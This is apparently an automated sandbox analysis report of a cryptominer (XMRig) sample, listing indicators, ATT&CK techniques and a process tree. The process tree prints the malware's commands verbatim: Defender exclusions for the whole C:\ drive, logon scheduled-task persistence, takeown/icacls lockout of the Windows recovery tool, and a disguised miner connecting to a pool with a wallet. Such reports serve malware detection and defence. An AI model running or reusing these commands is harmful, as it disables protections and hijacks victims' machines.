xmrig | 5c78bd37d92b504dd94c3521732c7a856e97ade7e634f7577bfeec4f1653a172

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Win-v43.exe

XMRig Miner payload 12 IoCs

miner

resource	yara_rule
behavioral2/memory/5252-89-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-90-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-91-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-92-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-93-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-94-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-95-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-96-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-97-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-98-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-99-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig
behavioral2/memory/5252-100-0x00007FF6C3B10000-0x00007FF6C43D3000-memory.dmp	xmrig

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	5252	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5724	powershell.exe
4148	powershell.exe
1684	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 3 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v42.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Win-v43.exe

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
3104	takeown.exe
5104	icacls.exe
2676	icacls.exe

Executes dropped EXE 3 IoCs

pid	Process
4668	Win-v43.exe
4700	Win-v42.exe
5252	cmd.exe

Modifies file permissions 1 TTPs 3 IoCs

File and Directory Permissions Modification

T1222

pid	Process
3104	takeown.exe
5104	icacls.exe
2676	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Software\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe"	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
1	api64.ipify.org
3	api64.ipify.org

Power Settings 1 TTPs 7 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
6108	powercfg.exe
1308	powercfg.exe
1680	powercfg.exe
4784	powercfg.exe
1948	powercfg.exe
1064	powercfg.exe
5612	powercfg.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\System32\Win-v42.exe	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2732 set thread context of 5252	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	137

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\Win-v41.exe	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4460	cmd.exe
4512	cmd.exe
1628	cmd.exe
5740	cmd.exe
4296	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	cmd.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
4296	cmd.exe
1764	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1764	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5788	schtasks.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
5724	powershell.exe
5724	powershell.exe
4148	powershell.exe
4148	powershell.exe
1684	powershell.exe
1684	powershell.exe
4668	Win-v43.exe
4668	Win-v43.exe
4700	Win-v42.exe
4700	Win-v42.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5724	powershell.exe
Token: SeIncreaseQuotaPrivilege	5724	powershell.exe
Token: SeSecurityPrivilege	5724	powershell.exe
Token: SeTakeOwnershipPrivilege	5724	powershell.exe
Token: SeLoadDriverPrivilege	5724	powershell.exe
Token: SeSystemProfilePrivilege	5724	powershell.exe
Token: SeSystemtimePrivilege	5724	powershell.exe
Token: SeProfSingleProcessPrivilege	5724	powershell.exe
Token: SeIncBasePriorityPrivilege	5724	powershell.exe
Token: SeCreatePagefilePrivilege	5724	powershell.exe
Token: SeBackupPrivilege	5724	powershell.exe
Token: SeRestorePrivilege	5724	powershell.exe
Token: SeShutdownPrivilege	5724	powershell.exe
Token: SeDebugPrivilege	5724	powershell.exe
Token: SeSystemEnvironmentPrivilege	5724	powershell.exe
Token: SeRemoteShutdownPrivilege	5724	powershell.exe
Token: SeUndockPrivilege	5724	powershell.exe
Token: SeManageVolumePrivilege	5724	powershell.exe
Token: 33	5724	powershell.exe
Token: 34	5724	powershell.exe
Token: 35	5724	powershell.exe
Token: 36	5724	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeIncreaseQuotaPrivilege	4148	powershell.exe
Token: SeSecurityPrivilege	4148	powershell.exe
Token: SeTakeOwnershipPrivilege	4148	powershell.exe
Token: SeLoadDriverPrivilege	4148	powershell.exe
Token: SeSystemProfilePrivilege	4148	powershell.exe
Token: SeSystemtimePrivilege	4148	powershell.exe
Token: SeProfSingleProcessPrivilege	4148	powershell.exe
Token: SeIncBasePriorityPrivilege	4148	powershell.exe
Token: SeCreatePagefilePrivilege	4148	powershell.exe
Token: SeBackupPrivilege	4148	powershell.exe
Token: SeRestorePrivilege	4148	powershell.exe
Token: SeShutdownPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeSystemEnvironmentPrivilege	4148	powershell.exe
Token: SeRemoteShutdownPrivilege	4148	powershell.exe
Token: SeUndockPrivilege	4148	powershell.exe
Token: SeManageVolumePrivilege	4148	powershell.exe
Token: 33	4148	powershell.exe
Token: 34	4148	powershell.exe
Token: 35	4148	powershell.exe
Token: 36	4148	powershell.exe
Token: SeIncreaseQuotaPrivilege	4148	powershell.exe
Token: SeSecurityPrivilege	4148	powershell.exe
Token: SeTakeOwnershipPrivilege	4148	powershell.exe
Token: SeLoadDriverPrivilege	4148	powershell.exe
Token: SeSystemProfilePrivilege	4148	powershell.exe
Token: SeSystemtimePrivilege	4148	powershell.exe
Token: SeProfSingleProcessPrivilege	4148	powershell.exe
Token: SeIncBasePriorityPrivilege	4148	powershell.exe
Token: SeCreatePagefilePrivilege	4148	powershell.exe
Token: SeBackupPrivilege	4148	powershell.exe
Token: SeRestorePrivilege	4148	powershell.exe
Token: SeShutdownPrivilege	4148	powershell.exe
Token: SeDebugPrivilege	4148	powershell.exe
Token: SeSystemEnvironmentPrivilege	4148	powershell.exe
Token: SeRemoteShutdownPrivilege	4148	powershell.exe
Token: SeUndockPrivilege	4148	powershell.exe
Token: SeManageVolumePrivilege	4148	powershell.exe
Token: 33	4148	powershell.exe
Token: 34	4148	powershell.exe
Token: 35	4148	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5252	cmd.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 5724	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	89
PID 2732 wrote to memory of 4148	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	92
PID 2732 wrote to memory of 1684	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	94
PID 2732 wrote to memory of 5788	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	96
PID 2732 wrote to memory of 4460	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	98
PID 4460 wrote to memory of 1332	4460	cmd.exe	100
PID 2732 wrote to memory of 4512	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	102
PID 4512 wrote to memory of 3104	4512	cmd.exe	104
PID 2732 wrote to memory of 1628	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	105
PID 1628 wrote to memory of 5104	1628	cmd.exe	107
PID 2732 wrote to memory of 5740	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	108
PID 5740 wrote to memory of 2676	5740	cmd.exe	110
PID 2732 wrote to memory of 1308	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	111
PID 2732 wrote to memory of 1680	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	115
PID 2732 wrote to memory of 4784	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	117
PID 2732 wrote to memory of 1948	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	122
PID 2732 wrote to memory of 1064	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	128
PID 2732 wrote to memory of 5612	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	130
PID 2732 wrote to memory of 6108	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	132
PID 2732 wrote to memory of 4296	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	134
PID 4296 wrote to memory of 1764	4296	cmd.exe	136
PID 2732 wrote to memory of 5252	2732	2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe	137

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-31_eecbdff91d84568fb9bd7a99a8d6b5ec_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1684
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5788
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C reagentc /disable
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:1332
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\system32\takeown.exe
    takeown /F "C:\Windows\System32\reagentc.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3104
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1628
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:5104
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5740
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2676
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change monitor-timeout-ac 0
  2⤵
  - Power Settings
  PID:1308
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change monitor-timeout-dc 0
  2⤵
  - Power Settings
  PID:1680
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:4784
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:1948
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:1064
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /change hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:5612
- C:\Windows\SYSTEM32\powercfg.exe
  powercfg /hibernate off
  2⤵
  - Power Settings
  PID:6108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4296
- - C:\Windows\system32\PING.EXE
    ping -n 1 -w 1000 8.8.8.8
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1764
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe --algo rx/0 --url 107.149.8.96:3333 --user 42rWxJoTVZnFvAxShvkZKLSR5dus86qUv89zRJXSvcWjTkwkVipmdvZY7CNNJGx2j62sTgnJxUgK27BQ8pSAQjYY6avcwcN/x -p x -k --cpu-max-threads-hint=90
  2⤵
  - Badlisted process makes network request
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of FindShellTrayWindow
  PID:5252

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:2832

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4668

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4700

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion